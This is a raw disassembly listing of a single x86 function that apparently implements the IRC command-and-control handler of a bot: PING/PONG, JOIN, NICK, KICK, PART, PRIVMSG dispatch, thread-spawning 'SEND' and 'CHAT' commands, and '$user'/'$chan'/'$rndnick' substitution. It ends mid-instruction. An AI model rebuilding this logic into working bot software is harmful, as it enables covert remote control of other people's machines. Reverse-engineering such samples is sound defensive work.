var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D00 = byte ptr -0D00h var_C80 = dword ptr -0C80h var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = byte ptr -0C5Ch var_BDC = dword ptr -0BDCh var_BD8 = dword ptr -0BD8h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = byte ptr -0A90h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 568Ch call sub_41C500 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41BF70 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41BFD0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401F75 push esi lea eax, [ebp+var_428C] push ebx push eax call sub_41BF70 dec esi lea eax, [ebp+var_428C] push esi push [ebp+arg_0] push eax call sub_41BFD0 lea eax, [ebp+var_428C] push offset asc_42CDC4 ; " :" push eax call sub_41C2E0 mov [ebp+var_C], eax lea eax, [ebp+var_428C] push esi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BFD0 mov esi, offset asc_42CDC0 ; " " lea eax, [ebp+var_4EF8] push esi push eax call sub_41CAD4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401F75 cmp [ebp+var_8C], ebx jz loc_401F75 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41BF70 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BFD0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41BFD0 lea eax, [ebp+var_C4] push offset asc_42CDBC ; "!" push eax call sub_41CAD4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409823 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4097D7 push esi push offset a005 ; "005" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4097D7 push esi push offset a302 ; "302" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41BFD0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40AE84 add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E04] push eax push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401E9A mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BFD0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42CD50 push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409823 lea eax, [ebp+var_2C4] push eax call sub_415D38 add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401F75 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E8D: ; CODE XREF: sub_401ACD+5F6j ; sub_401ACD+8B9j ... push [ebp+arg_4] call sub_409823 jmp loc_404260 ; --------------------------------------------------------------------------- loc_401E9A: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_401FDD mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC3: ; CODE XREF: sub_401ACD+448j lea eax, [ebp+var_E04] push eax push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401F10 lea eax, [ebp+var_E04] push 21h push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F10 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41C890 push [ebp+arg_1C] push edi call sub_41C8A0 add esp, 10h mov edi, 80h loc_401F10: ; CODE XREF: sub_401ACD+407j ; sub_401ACD+41Ej add esi, edi dec [ebp+arg_0] jnz short loc_401EC3 lea eax, [ebp+var_C4] test eax, eax jz short loc_401F75 cmp [ebp+arg_24], ebx jz short loc_401F75 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_401F4D push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41BFD0 jmp loc_4036A2 ; --------------------------------------------------------------------------- loc_401F4D: ; CODE XREF: sub_401ACD+46Cj mov edi, [ebp+arg_18] xor esi, esi loc_401F52: ; CODE XREF: sub_401ACD+4A6j cmp [edi], bl jz short loc_401F69 lea eax, [ebp+var_E04] push eax push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_401F7D loc_401F69: ; CODE XREF: sub_401ACD+487j inc esi add edi, 80h cmp esi, 3 jl short loc_401F52 loc_401F75: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401F77: ; CODE XREF: sub_401ACD+2A1Ej pop eax loc_401F78: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A40j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401F7D: ; CODE XREF: sub_401ACD+49Aj lea eax, [ebp+var_E04] push 21h push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_401F75 push eax call sub_41B9C0 push [ebp+arg_24] mov edi, eax call sub_41B9C0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_401F75 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41C266 push ebx lea eax, [ebp+var_45F0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409869 add esp, 24h jmp short loc_401F75 ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401ACD+3DCj push esi push offset aPart ; "PART" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_401FFF push esi push offset aQuit ; "QUIT" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402026 loc_401FFF: ; CODE XREF: sub_401ACD+51Fj mov edi, [ebp+arg_18] xor esi, esi loc_402004: ; CODE XREF: sub_401ACD+557j cmp [edi], bl jz short loc_40201A push [ebp+var_90] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_402067 loc_40201A: ; CODE XREF: sub_401ACD+539j inc esi add edi, 80h cmp esi, 3 jl short loc_402004 loc_402026: ; CODE XREF: sub_401ACD+530j push [ebp+var_8C] push offset a353 ; "353" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4020C8 push [ebp+var_80] push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40205A mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40205A: ; CODE XREF: sub_401ACD+582j push [ebp+var_80] push offset unk_42CCFC jmp loc_4097CB ; --------------------------------------------------------------------------- loc_402067: ; CODE XREF: sub_401ACD+54Bj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CCDC push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push [ebp+var_8C] push offset aPart ; "PART" call sub_41CA50 add esp, 18h test eax, eax jnz loc_401F75 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4020C8: ; CODE XREF: sub_401ACD+56Dj push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41CA50 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40211C push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40211C push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 cmp dword_429088, ebx jz loc_409644 loc_40211C: ; CODE XREF: sub_401ACD+615j ; sub_401ACD+627j push [ebp+var_8C] push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4022A2 push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4022A2 mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_402160: ; CODE XREF: sub_401ACD+891j ; sub_401ACD+8CDj ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42CCC0 mov [ebp+arg_8], eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_40253B push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402402 cmp [ebp+var_A4], ebx jz loc_4023DB push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B84] push edi push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_1B98] push [ebp+esi+var_84] push edi push eax call sub_41C266 push [ebp+esi+var_80] call sub_41C159 mov [ebp+var_1A00], eax mov eax, [ebp+arg_4] mov [ebp+var_1BA0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A80] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F8], eax mov eax, [ebp+var_8] mov [ebp+var_19F4], eax lea eax, [ebp+var_1A80] push eax lea eax, [ebp+var_1B84] push eax lea eax, [ebp+var_2C4] push offset unk_42CC84 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_19FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1BA0] push ebx push eax push offset loc_416563 push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_19FC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz loc_4023CA loc_40228C: ; CODE XREF: sub_401ACD+7D3j cmp [ebp+var_19F0], ebx jnz loc_4082DE push 32h nop call near ptr 26A068Bh jmp short loc_40228C ; --------------------------------------------------------------------------- loc_4022A2: ; CODE XREF: sub_401ACD+65Fj ; sub_401ACD+675j push [ebp+var_8C] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4022BB mov [ebp+var_4], 1 loc_4022BB: ; CODE XREF: sub_401ACD+7E5j cmp [ebp+var_88], ebx jz loc_401F75 push offset dword_42CC80 push [ebp+var_88] call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4022E2 cmp [ebp+var_4], ebx jz short loc_4022EE loc_4022E2: ; CODE XREF: sub_401ACD+80Ej lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_4022EE: ; CODE XREF: sub_401ACD+813j cmp [ebp+var_84], ebx jz loc_401F75 inc [ebp+var_84] jz short loc_40233A cmp [ebp+arg_10], ebx jz short loc_40233A lea eax, [ebp+var_338] push eax call sub_41B9C0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41C850 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_402340 ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_401ACD+833j ; sub_401ACD+838j mov esi, [ebp+var_AC] loc_402340: ; CODE XREF: sub_401ACD+86Bj mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401F75 push edi push offset dword_42CC74 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402160 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_40238B mov eax, dword_4CB888 mov eax, off_429160[eax*4] cmp [eax], bl jz short loc_40238B push eax push ecx push offset dword_42CC58 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_40238B: ; CODE XREF: sub_401ACD+8A0j ; sub_401ACD+8B0j push edi push offset dword_42CC50 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402160 mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_402160 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_402160 push eax push ecx push offset dword_42CC38 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4023CA: ; CODE XREF: sub_401ACD+7B9j ; sub_401ACD+76B7j nop call near ptr 26B0669h push eax push offset unk_42CBFC jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4023DB: ; CODE XREF: sub_401ACD+6DDj lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42CBB8 loc_4023EE: ; CODE XREF: sub_401ACD+7C19j ; sub_401ACD+7C80j lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 10h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_402402: ; CODE XREF: sub_401ACD+6D1j push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402551 cmp [ebp+var_A4], ebx jz loc_40252A push 1Bh call sub_40B602 test eax, eax pop ecx jnz loc_402519 push [ebp+esi+var_84] lea eax, [ebp+var_2AAC] push offset aS_1 ; "%s" push eax call sub_41C266 push [ebp+esi+var_80] call sub_41C159 mov [ebp+var_2914], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB4], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2994] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_290C], eax mov eax, [ebp+var_8] mov [ebp+var_2908], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CB90 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B3BA add esp, 18h mov [ebp+var_2910], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB4] push ebx push eax push offset dword_416000 push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_2910] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_402508 loc_4024F2: ; CODE XREF: sub_401ACD+A39j cmp [ebp+var_2904], ebx jnz loc_4082DE push 32h nop call near ptr 26A068Bh jmp short loc_4024F2 ; --------------------------------------------------------------------------- loc_402508: ; CODE XREF: sub_401ACD+A23j call near ptr 26B0669h nop push eax push offset unk_42CB58 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_401ACD+966j lea eax, [ebp+var_C4] push eax push offset unk_42CB28 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40252A: ; CODE XREF: sub_401ACD+956j lea eax, [ebp+var_C4] push eax push offset unk_42CAF4 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40253B: ; CODE XREF: sub_401ACD+6B6j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401F75 loc_402551: ; CODE XREF: sub_401ACD+94Aj mov edi, [edi] push edi push offset aC ; "c" mov [ebp+arg_8], edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40964C push edi push offset aK ; "k" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40964C cmp [ebp+var_A4], ebx jnz short loc_4025A2 push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 loc_4025A2: ; CODE XREF: sub_401ACD+AB9j cmp [ebp+arg_28], ebx jnz loc_409644 xor edi, edi cmp dword_4294CC, ebx jle loc_402757 mov [ebp+arg_20], offset dword_43DB90 loc_4025C0: ; CODE XREF: sub_401ACD+B12j push [ebp+arg_8] push [ebp+arg_20] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_4025E6 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4294CC jl short loc_4025C0 jmp loc_402757 ; --------------------------------------------------------------------------- loc_4025E6: ; CODE XREF: sub_401ACD+B02j push offset asc_42CDC4 ; " :" push [ebp+arg_0] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_401F75 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43DBA8[edi] push 9Fh add eax, 4 push ecx push eax call sub_41BFD0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40263B: ; CODE XREF: sub_401ACD+C1Fj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d-" push eax call sub_41C266 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C2E0 add esp, 14h test eax, eax jz short loc_4026A7 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026A7 lea eax, dword_43DB90[edi] push eax call sub_41B9C0 add [ebp+var_C], eax pop ecx jz short loc_4026E2 mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4026E2 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 0Ch jmp short loc_4026E2 ; --------------------------------------------------------------------------- loc_4026A7: ; CODE XREF: sub_401ACD+B96j ; sub_401ACD+B9Dj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026E2 lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41BFD0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 18h loc_4026E2: ; CODE XREF: sub_401ACD+BAFj ; sub_401ACD+BC3j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40263B lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_4026FF: ; CODE XREF: sub_401ACD+C7Ej push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD ; "$%d" push eax call sub_41C266 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C2E0 add esp, 14h test eax, eax jz short loc_402742 mov eax, [edi] cmp eax, ebx jz short loc_402742 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B add esp, 0Ch loc_402742: ; CODE XREF: sub_401ACD+C5Aj ; sub_401ACD+C60j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_4026FF mov [ebp+var_2C8], 1 loc_402757: ; CODE XREF: sub_401ACD+AE6j ; sub_401ACD+B14j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_402770 cmp [ebp+var_2C8], ebx jz loc_402961 loc_402770: ; CODE XREF: sub_401ACD+C95j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_41843B lea eax, [ebp+var_C4] push eax push offset aUser_1 ; "$user" push edi call sub_41843B push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_41843B push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE84 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_41843B add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_41843B mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41C2E0 add esp, 14h loc_4027E2: ; CODE XREF: sub_401ACD+E0Dj test eax, eax jz loc_4028DF push edi push [ebp+arg_0] call sub_41C2E0 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41BFD0 lea eax, [ebp+var_A0] push offset asc_42CAAC ; ")" push eax call sub_41CAD4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_40282E cmp [ebp+var_A0], 39h jle short loc_402844 loc_40282E: ; CODE XREF: sub_401ACD+D56j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41BFD0 add esp, 0Ch loc_402844: ; CODE XREF: sub_401ACD+D5Fj lea eax, [ebp+var_A0] push eax call sub_41C159 test eax, eax pop ecx jle short loc_40286A lea eax, [ebp+var_A0] push eax call sub_41C159 pop ecx mov [ebp+var_94], al jmp short loc_40287E ; --------------------------------------------------------------------------- loc_40286A: ; CODE XREF: sub_401ACD+D86j call sub_41C2C2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40287E: ; CODE XREF: sub_401ACD+D9Bj lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41B9C0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41BF70 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41BFD0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41843B push edi push [ebp+arg_0] call sub_41C2E0 add esp, 30h jmp loc_4027E2 ; --------------------------------------------------------------------------- loc_4028DF: ; CODE XREF: sub_401ACD+D17j mov edi, 1FFh lea eax, [ebp+var_428C] push edi push [ebp+arg_0] push eax call sub_41BFD0 lea eax, [ebp+var_428C] push edi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BFD0 lea eax, [ebp+var_4EF8] push offset asc_42CDC0 ; " " push eax call sub_41CAD4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40292F: ; CODE XREF: sub_401ACD+E77j push offset 